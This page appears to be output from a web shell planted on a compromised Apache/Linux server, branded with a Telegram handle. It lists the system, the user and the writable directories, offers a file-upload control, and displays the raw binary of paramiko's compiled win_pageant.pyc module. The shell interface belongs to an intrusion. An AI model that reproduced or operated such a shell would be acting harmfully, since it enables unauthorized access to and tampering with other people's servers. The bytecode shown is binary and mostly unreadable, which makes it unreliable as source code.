https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib/python2.7/site-packages/paramiko/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python2.7/site-packages/paramiko/win_pageant.pyc
�
x�\c@s!dZddlZddlZddlZddlZddlmZddlm	Z	yddl
ZWnek
r�ddlZnXddl
mZdZdZd	Zd
�Zd�Zej�dd
kr�ejZn	ejZdejfd��YZd�Zdefd��YZdS(sP
Functions for communicating with Pageant, the basic windows ssh agent program.
i����N(t	zero_byte(tbi(t_winapiI�PN�i iJcCstjjjdd�S(NtPageant(tctypestwindlltuser32tFindWindowA(((s8/tmp/pip-install-A1qMVe/paramiko/paramiko/win_pageant.pyt_get_pageant_window_object.scCs
tt��S(s�
    Check to see if there is a "Pageant" agent we can talk to.

    This checks both if we have the required libraries (win32all or ctypes)
    and if there is a Pageant currently running.
    (tboolR(((s8/tmp/pip-install-A1qMVe/paramiko/paramiko/win_pageant.pytcan_talk_to_agent2sit64bittCOPYDATASTRUCTcBs8eZdZdefdejjfdejfgZRS(sy
    ctypes implementation of
    http://msdn.microsoft.com/en-us/library/windows/desktop/ms649010%28v=vs.85%29.aspx
    tnum_datat	data_sizetdata_loc(	t__name__t
__module__t__doc__t	ULONG_PTRRtwintypestDWORDtc_void_pt_fields_(((s8/tmp/pip-install-A1qMVe/paramiko/paramiko/win_pageant.pyRBs	c
Cst�}|sdSdtj�}tj|ttj��}|��|j|�t	j	dt
|�t�}|j�\}}t
t||�}tjjj|ttj|�tj|��}|dkr|jd�|jd�}	tjd|	�d}
|	|j|
�SdSWdQXdS(sa
    Communication with the Pageant process is done through a shared
    memory-mapped file.
    sPageantRequest%08xRiis>IN(RtNonetthreadt	get_identRt	MemoryMapt_AGENT_MAX_MSGLENt get_security_attributes_for_usertwritetarrayRRtbuffer_infoRt_AGENT_COPYDATA_IDRRRtSendMessageAtwin32con_WM_COPYDATAtsizeoftbyreftseektreadtstructtunpack(tmsgthwndtmap_nametpymaptchar_buffertchar_buffer_addresstchar_buffer_sizetcdstresponsetdatalentretlen((s8/tmp/pip-install-A1qMVe/paramiko/paramiko/win_pageant.pyt_query_pageantOs(	
$
tPageantConnectioncBs2eZdZd�Zd�Zd�Zd�ZRS(s
    Mock "connection" to an agent which roughly approximates the behavior of
    a unix local-domain socket (as used by Agent).  Requests are sent to the
    pageant daemon via special Windows magick, and responses are buffered back
    for subsequent reads.
    cCs
d|_dS(N(Rt	_response(tself((s8/tmp/pip-install-A1qMVe/paramiko/paramiko/win_pageant.pyt__init__}scCst|�|_dS(N(R5R7(R8tdata((s8/tmp/pip-install-A1qMVe/paramiko/paramiko/win_pageant.pytsend�scCsO|jdkrdS|j| }|j||_|jdkrKd|_n|S(Nt(R7R(R8tntret((s8/tmp/pip-install-A1qMVe/paramiko/paramiko/win_pageant.pytrecv�s
cCsdS(N((R8((s8/tmp/pip-install-A1qMVe/paramiko/paramiko/win_pageant.pytclose�s(RRRR9R;R?R@(((s8/tmp/pip-install-A1qMVe/paramiko/paramiko/win_pageant.pyR6us
				(RRtctypes.wintypesRtplatformR(tparamiko.commonRtparamiko.py3compatRt_threadRtImportErrorR<RR!RR#RR
tarchitecturetc_uint64Rtc_uint32t	StructureRR5tobjectR6(((s8/tmp/pip-install-A1qMVe/paramiko/paramiko/win_pageant.pyt<module>s,
		
	
	&

https://t.me/AnonymousX5 - 2025